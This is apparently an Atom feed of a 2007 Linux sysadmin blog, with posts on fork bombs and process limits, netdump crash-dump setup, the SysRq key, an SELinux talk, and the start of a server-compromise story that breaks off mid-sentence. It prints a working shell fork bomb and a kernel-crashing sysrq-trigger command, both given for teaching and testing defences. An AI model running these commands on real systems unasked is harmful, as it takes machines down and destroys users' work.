Fork bomb? Doesn't sound familiar? To understand fork bomb, you must understand &quot;fork()&quot;. Fork is a system call, which creates an exact copy of the running process. The new process is called &quot;child&quot;, and the invoking process &quot;parent&quot;. If you've taken any sort of programming class I'm sure you know all about forking. If not, you can read about it in &quot;&lt;strong&gt;man 2 fork&lt;/strong&gt;&quot; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Fork_(operating_system)&quot;&gt;Wikipedias entry on fork&lt;/a&gt;.&lt;p&gt;To create a fork bomb, you usually make some kind of misbehaving piece of software that spawns new child processes endlessly. This can be written in any language, but a one-liner bourne shell script is perhaps the most simple one:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  #/bin/sh&lt;br&gt;  &amp;#36;0 &amp;amp;&lt;br&gt;  &amp;#36;0&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Save this as &quot;&lt;strong&gt;forkbomb.sh&lt;/strong&gt;&quot;, execute it and see what happens. I'll bet within seconds the system is unresponsive. Here &quot;&amp;#36;0&quot; is the name of the script (forkbomb.sh) and the &quot;&amp;amp;&quot; puts the new invocation in the background. Last the script is executed a second time and this time it's in the foreground waiting for the new invocation of itself to complete (which it never does..) thus effectively holding on to resources..&lt;p&gt;You can restrict the number of processes by the built-in bash command &quot;ulimit&quot;. Option &quot;-u&quot; shows/controls number of processes you're allowed to run:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  &amp;#36; &lt;strong&gt;ulimit -u&lt;/strong&gt;&lt;br&gt;  unlimited&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;Unlimited number of processes? Thats nice. Restrict it by:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  &amp;#36; &lt;strong&gt;ulimit -u 20&lt;/strong&gt;&lt;br&gt;  &amp;#36; &lt;strong&gt;ulimit -u&lt;/strong&gt;&lt;br&gt;  20&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Here &quot;20&quot; is the maximum number of processes available to the shell and processes started by it. Try it, and you'll soon see the restriction come to play:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  &amp;#36; &lt;strong&gt;ulimit -u 20&lt;/strong&gt;&lt;br&gt;  &amp;#36; &lt;strong&gt;./forkbomb.sh&lt;/strong&gt;&lt;br&gt;  ./forkbomb.sh: fork: Resource temporarily unavailable&lt;br&gt;  ./forkbomb.sh: fork: Resource temporarily unavailable&lt;br&gt;  ./forkbomb.sh: fork: Resource temporarily unavailable&lt;br&gt;  ....&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;img width=&quot;721&quot; height=&quot;401&quot; src=&quot;http://blog.gnist.org/images/articles/forkbomb_1_original.png&quot; alt=&quot;&quot;&gt; &lt;p&gt;Good. Unfortunate, we do not trust our users. So we need this setting permanent. This an be done in /etc/security/limits.conf:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  # &lt;strong&gt;cat /etc/security/limits.conf&lt;/strong&gt;&lt;br&gt;  ....&lt;br&gt;  lars    hard    nproc 20&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Logout and back in, to see the restriction in effect.&lt;p&gt;&lt;p&gt;&lt;pre&gt;  &amp;#36; &lt;strong&gt;ulimit -u&lt;/strong&gt;&lt;br&gt;  20&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;And I can of course not increase the limits beyond the level set in limits.conf:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  &amp;#36; &lt;strong&gt;ulimit -u 100&lt;/strong&gt;&lt;br&gt;  -bash: ulimit: max user processes: cannot modify limit: Operation not permitted&lt;br&gt;&lt;/pre&gt;&lt;p&gt;&lt;p&gt;But do beware - the root account (or any account with UID 0) is not bound by limits.conf.</content>
</entry>
<entry>
<title type="html">Netdump</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=netdump"/>
<id>tag:blog.gnist.org,2007-06-24:/article.php?story=netdump</id>
<published>2007-06-24T10:50:00+02:00</published>
<updated>2007-06-24T10:50:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">RHEL provides a crash dump facility called &lt;a href=&quot;http://www.redhat.com/support/wpapers/redhat/netdump/index.html&quot;&gt;netdump&lt;/a&gt; (&lt;strong&gt;net&lt;/strong&gt;work crash&lt;strong&gt;dump&lt;/strong&gt; = netdump). Traditionally UNIX writes the kernel dump to the swap partition. A classical crash dump facility first need to recover the dump before it's reused as swap. Other crash dump facilities enables kernel dumps to be written to disk. &lt;a href=&quot;http://sourceforge.net/projects/lkdump&quot;&gt;Diskdump&lt;/a&gt; is such a facility. However, great care must be taken as to not overwrite important data on the file system. Netdump solves that by writing the kernel dump to the network destined to a netdump server.&lt;p&gt;
You might argue that the kernel never crashes. Unfortunate that is not true. Kernel crashes might be caused by software and hardware bugs (Oops, BUG(), panic). The kernel then responds by dumping as much information as it can (processor state, stack trace and so on) to the console. This might be enough for an experienced kernel hacker to find out what went wrong, but some crashed requires an analyze of the memory dump of the kernel.&lt;p&gt;&lt;p&gt;Netdump server:&lt;br&gt;1. Install the netdump-server package.&lt;br&gt;2. Set password for the netdump user:&lt;br&gt;&lt;p&gt;&lt;pre&gt;  # &lt;strong&gt;passwd netdump&lt;/strong&gt;&lt;br&gt;  Changing password for user netdump.&lt;br&gt;  New UNIX password: &lt;br&gt;&lt;/pre&gt;&lt;p&gt;3. Netdump writes to /var/crash, and kernel dumps can take anywhere from 500MiB up to several GiB depending on amount of memory used on the client.&lt;br&gt;4. Start the netdump-server:&lt;br&gt;&lt;p&gt;&lt;pre&gt;# &lt;strong&gt;service netdump-server start&lt;/strong&gt;&lt;br&gt;Starting netdump server:                                   [  OK  ]&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Netdump client:&lt;br&gt;1. Install the netdump package.&lt;br&gt;2. Edit /etc/sysconfig/netdump and add netdump server:&lt;br&gt;&lt;p&gt;&lt;pre&gt;   ...&lt;br&gt;   NETDUMPADDR=192.168.1.104&lt;br&gt;   ...&lt;br&gt;&lt;/pre&gt;&lt;p&gt;3. Propagate the shared secret to the server. This just copies the ssh public key to the crashdump server:&lt;br&gt;&lt;p&gt;&lt;pre&gt;  # &lt;strong&gt;service netdump propagate&lt;/strong&gt;&lt;br&gt;  netdump@192.168.1.104's password:&lt;br&gt;&lt;/pre&gt;&lt;p&gt;The above command just do:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  cat /etc/sysconfig/netdump_id_dsa.pub | &amp;#92;&lt;br&gt;  ssh -x netdump@&amp;#36;NETDUMPADDR cat '&amp;gt;&amp;gt;' /var/crash/.ssh/authorized_keys2&lt;br&gt;&lt;/pre&gt;&lt;p&gt;4. Restart netdump:&lt;br&gt;&lt;p&gt;&lt;pre&gt; # &lt;strong&gt;service netdump restart&lt;/strong&gt;&lt;br&gt;initializing netdump                                       [  OK  ]&lt;br&gt;initializing netconsole                                    [  OK  ]&lt;br&gt;&lt;/pre&gt;&lt;p&gt;At the netdump server, a client directory is created for dump files:&lt;p&gt;&lt;p&gt;&lt;pre&gt; /var/crash/192.168.1.103-2007-06-24-09:44&lt;/pre&gt;&lt;p&gt;Time for some testing! Lets crash the client!We crash the client by using sysrq. Read more about sysrq &lt;a href=&quot;http://blog.gnist.org/article.php?story=sysrq&quot;&gt;here&lt;/a&gt;.&lt;p&gt;&lt;p&gt;&lt;pre&gt; # &lt;strong&gt;sysctl -w kernel/sysrq=1&lt;/strong&gt;&lt;br&gt; kernel.sysrq = 1&lt;br&gt; # &lt;strong&gt;echo &quot;c&quot; &amp;gt; /proc/sysrq-trigger&lt;/strong&gt;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;The kernel now crashes, but right before it reboots, it dumps to the netdump server (UDP port 6666). At the end of the dump, a SysRq-t is performed. SysRq-t dumps a list of current tasks and their information.&lt;p&gt;&lt;i&gt;Note! While the dumping is in progress, interrupts are disabled. One consequence of this is that the keyboard is unresponsive.&lt;/i&gt;&lt;p&gt;&lt;img width=&quot;720&quot; height=&quot;399&quot; src=&quot;http://blog.gnist.org/images/articles/netdump_1_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;&lt;img width=&quot;720&quot; height=&quot;399&quot; src=&quot;http://blog.gnist.org/images/articles/netdump_2_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;At the server, two files are generated:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  # &lt;strong&gt;ls -lh /var/crash/192.168.1.103-2007-06-24-09&amp;#92;:44/&lt;/strong&gt;&lt;br&gt;  -rw-------    1 netdump  netdump      1.3K Jun 24 09:44 log&lt;br&gt;  -rw-------    1 netdump  netdump      510M Jun 24 09:44 vmcore&lt;br&gt;&lt;/pre&gt;&lt;p&gt;You can now analyze the dump (&quot;vmcore&quot;) using gdb, kdb or similar to figure out what went wrong. Enjoy!</content>
</entry>
<entry>
<title type="html">Magical SysRq</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=sysrq"/>
<id>tag:blog.gnist.org,2007-06-18:/article.php?story=sysrq</id>
<published>2007-06-18T20:10:00+02:00</published>
<updated>2007-06-18T20:10:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;a href=&quot;http://en.wikipedia.org/wiki/SysRq&quot;&gt;SysRq&lt;/a&gt; (System Request)&lt;/a&gt; is probably one of those keys on your keyboard that you rarely use. On Linux, you can use it to perform system functions if the system becomes unresponsive. You can sync disks, reboot or crash the kernel if that is what you want. 
To enable the &lt;a href=&quot;http://en.wikipedia.org/wiki/Magic_SysRq_key&quot;&gt;&quot;magical&quot; sysrq&lt;/a&gt;, you need to have it compiled in the kernel. Luckily all major Linux distribution today have sysrq compiled in be default. To see the status if sysrq, issue:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  &amp;#36; &lt;strong&gt;cat /proc/sys/kernel/sysrq&lt;/strong&gt;&lt;br&gt;  1&lt;br&gt;&lt;/pre&gt;&lt;p&gt;By default this value is &quot;1&quot; on Debian/Ubuntu and &quot;0&quot; on RHEL. &quot;0&quot; disables sysrq and &quot;1&quot; enables all functions of sysrq. Other values exists, see &lt;a href=&quot;http://lxr.linux.no/source/Documentation/sysrq.txt&quot;&gt;Documentation/sysrq.txt&lt;/a&gt;. You might also use &quot;&lt;strong&gt;sysctl&lt;/strong&gt; to check and enable sysrq:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  #  &lt;strong&gt;sysctl kernel/sysrq&lt;/strong&gt;&lt;br&gt;  kernel.sysrq = 0&lt;br&gt;  # &lt;strong&gt;sysctl -w kernel/sysrq=1&lt;/strong&gt;&lt;br&gt;  kernel.sysrq = 1&lt;br&gt;&lt;/pre&gt;&lt;p&gt;To &quot;&lt;strong&gt;s&lt;/strong&gt;&quot;ync all filesystems, press &lt;i&gt;&quot;Alt+SysRq+s&quot;&lt;/i&gt;. You'll then see at the console:&lt;p&gt;&lt;p&gt;&lt;pre&gt; SysRq  :  Emergency Sync&lt;br&gt; Emergency Sync complete&lt;br&gt;&lt;/pre&gt;&lt;p&gt; Other sysrq functions include &quot;&lt;strong&gt;b&lt;/strong&gt;&quot;oot, &quot;&lt;strong&gt;c&lt;/strong&gt;&quot;rash and &quot;&lt;strong&gt;u&lt;/strong&gt;&quot;mount. See the &lt;a href=&quot;http://lxr.linux.no/source/Documentation/sysrq.txt&quot;&gt;Documentation/sysrq.txt&lt;/a&gt; for the full list.&lt;p&gt;A quick way to reboot, and a little nicer than using the power-button, is to:&lt;p&gt;1. Sync disks using: &lt;i&gt;&quot;Alt+SysRq+s&quot;&lt;/i&gt;:&lt;p&gt;&lt;pre&gt; SysRq  :  Emergency Sync&lt;br&gt; Emergency Sync complete&lt;br&gt;&lt;/pre&gt;&lt;p&gt;2. Remount all disks read-only: &lt;i&gt;&quot;Alt+SysRq+u&quot;&lt;/i&gt;:&lt;p&gt;&lt;pre&gt; SysRq  :  Emergency Remount R/O&lt;br&gt; Emergency Remount complete&lt;br&gt;&lt;/pre&gt;&lt;p&gt;3. Reboot: &lt;i&gt;&quot;Alt+SysRq+b&quot;&lt;/i&gt;:&lt;p&gt;&lt;pre&gt; SysRq  :  Resetting&lt;br&gt;&lt;/pre&gt;&lt;p&gt;An (impatient) colleague of mine uses this procedure to shut down his laptop all the time...&lt;p&gt;If you're not on the console, you can still use sysrq. Just redirect the the command-key to /proc/sysrq-trigger. So to crash the running server do:&lt;p&gt;&lt;pre&gt;  # &lt;strong&gt;echo &quot;c&quot; &amp;gt; /proc/sysrq-trigger&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;&lt;img width=&quot;720&quot; height=&quot;398&quot; src=&quot;http://blog.gnist.org/images/articles/sysrq_1_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;Note: Crashing the running kernel using kexec/kdump is not supported in Debian 4.0 (Etch).</content>
</entry>
<entry>
<title type="html">SELinux presentation</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=Linuxdagen-SELinux"/>
<id>tag:blog.gnist.org,2007-05-13:/article.php?story=Linuxdagen-SELinux</id>
<published>2007-05-13T17:31:00+02:00</published>
<updated>2007-05-13T17:31:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">Linpro held the annual &lt;a href=&quot;http://www.linuxdagen.no&quot;&gt;&quot;Linuxdagen&quot;&lt;/a&gt; (&quot;Linuxday&quot;) 7. May 2007. It was the usual mix of interesting and not so interesting presentations. There was a lot more people attending this year than last year - which was great. My presentation about SELinux dealt with how SELinux enforces &quot;mandatory access control&quot; (MAC) instead of the traditional &quot;discretional access control&quot; (DAC) on Linux. Handout can be found &lt;a href=&quot;http://gnist.org/~lars/courses/misc/Linuxdagen2007-SELinux.pdf&quot;&gt;here&lt;/a&gt; (norwegian).</content>
</entry>
<entry>
<title type="html">Holiday cracking</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=HollidayCracking"/>
<id>tag:blog.gnist.org,2007-04-09:/article.php?story=HollidayCracking</id>
<published>2007-04-09T19:17:00+02:00</published>
<updated>2007-04-09T19:17:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;&lt;i&gt;&lt;strong&gt;Update! 16. September 2007:&lt;/strong&gt; I've posted a follow up on this story &lt;a href=&quot;http://blog.gnist.org/article.php?story=HolidayCracking-redux&quot;&gt;here&lt;/a&gt;.&lt;/i&gt;&lt;p&gt;A friend of mine asked me to have a look at his Linux-server. &quot;It behaves strangely&quot; he said, most notably the web-server apache refused to start. It turned out to be more than just a problem with apache.
&lt;p&gt;I already had an account, so I started to poke around. The first thing I noticed was some strange &lt;strong&gt;ls&lt;/strong&gt; behavior:&lt;p&gt;&lt;pre&gt; lars@server1:~&amp;#36; &lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt; ls: invalid option -- h&lt;br&gt; Try `ls --help' for more information.&lt;br&gt;&lt;/pre&gt;&lt;p&gt;That's odd.. Why don't &quot;&lt;strong&gt;ls&lt;/strong&gt;&quot; take &quot;&lt;strong&gt;-h&lt;/strong&gt;&quot; all of a sudden?? I had aliased &quot;&lt;strong&gt;ls&lt;/strong&gt;, so I unaliased it and it worked fine: &lt;p&gt;&lt;pre&gt;lars@server1:~&amp;#36; &lt;strong&gt;alias ls&lt;/strong&gt;&lt;br&gt; alias ls='ls -sh --color=auto'&lt;br&gt; lars@server1:~&amp;#36; &lt;strong&gt;unalias ls&lt;/strong&gt;&lt;br&gt; lars@server1:~&amp;#36; &lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt; backup&lt;br&gt; lars@server1:~&amp;#36;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Strange. I'll have too look into that later, but first get apache up and running:&lt;p&gt;&lt;pre&gt; lars@server1:~&amp;#36; &lt;strong&gt;sudo /etc/init.d/apache2 start&lt;/strong&gt;&lt;br&gt; Password:&lt;br&gt;  * Starting apache 2.0 web server...&lt;br&gt; (2): apache2: could not open error log file /var/log/apache2/error.log.&lt;br&gt; Unable to open logs&lt;br&gt;    ...fail!&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Ookay..? A quick peek into &quot;/var/log/&quot; revealed that &quot;apache2/&quot; was missing, but so was all other directories usually found under there as &quot;mysql/&quot;, &quot;exim4/&quot;, &quot;samba/&quot; and so on. Something was wrong alright. Did my friend accidentally delete eve